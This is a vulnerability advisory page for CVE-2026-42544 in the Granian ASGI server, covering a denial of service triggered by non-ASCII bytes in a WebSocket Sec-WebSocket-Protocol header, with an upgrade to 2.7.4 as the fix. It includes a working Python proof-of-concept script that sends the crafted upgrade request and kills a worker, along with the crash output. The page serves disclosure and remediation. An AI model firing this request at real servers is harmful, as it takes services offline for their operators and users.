Granian CVE-2026-42544
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})granian --interface asgi app:app --host 127.0.0.1 --port 8000Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))python ws-subproto-crash.py 127.0.0.1 8000 /Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granianImpact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
AnalysisAI
Granian ASGI server suffers remote denial of service when unauthenticated attackers send malformed WebSocket upgrade requests containing non-ASCII bytes in the Sec-WebSocket-Protocol header, causing worker process termination. Each crafted request kills one worker process; sequential requests across all workers achieve complete service outage. The vulnerability exists in Granian's pre-application WebSocket scope construction (src/asgi/utils.rs), making application-layer defenses ineffective. Publicly available exploit code exists with complete proof-of-concept demonstrating the attack. Vendor-released patch 2.7.4 addresses the issue for affected versions 1.2.0 through 2.7.3.
Technical ContextAI
Granian is a Rust-based HTTP/WebSocket server for Python ASGI applications, competing with Uvicorn and Hypercorn in the async Python ecosystem. The vulnerability stems from improper input validation (CWE-20) in the Rust layer's WebSocket handshake processing. Specifically, the code attempts to convert HTTP header values to UTF-8 strings using HeaderValue::to_str(), which returns an error for bytes outside visible ASCII range. The subsequent .unwrap() call panics on this error, and because Granian's release builds configure panic = abort in Cargo.toml, the panic terminates the entire worker process rather than being caught as a recoverable error. This occurs during ASGI scope construction before request dispatch to the Python application layer, bypassing any application-level validation, authentication, or rate limiting. The affected package identifier is pkg:pip/granian, confirming distribution via Python Package Index.
RemediationAI
Upgrade to Granian version 2.7.4 or later, which implements proper error handling for malformed WebSocket headers without process termination. Execute pip install --upgrade granian==2.7.4 or update requirements.txt/pyproject.toml dependency specifications. For environments unable to upgrade immediately, implement compensating controls at the network perimeter: deploy a reverse proxy (nginx, Caddy, HAProxy) configured to validate WebSocket upgrade requests before forwarding to Granian, specifically rejecting Sec-WebSocket-Protocol headers containing non-ASCII bytes. Example nginx config: add lua-resty-http module to inspect and sanitize WebSocket headers in access phase. Trade-off: adds latency and operational complexity. Alternative mitigation is process-level supervision with automatic restart (systemd Restart=always, Docker restart policies, Kubernetes liveness probes) to restore crashed workers, though this only limits impact duration rather than preventing exploitation. Trade-off: service disruption still occurs during restart cycles, and rapid sequential attacks can overwhelm restart rate limits. Network-level rate limiting by source IP provides partial defense against distributed attacks but not single-source sequential worker targeting. Vendor advisory and patch details: https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6 and https://github.com/advisories/GHSA-vrg7-482j-p6f6.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-20 – Improper Input Validation
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-vrg7-482j-p6f6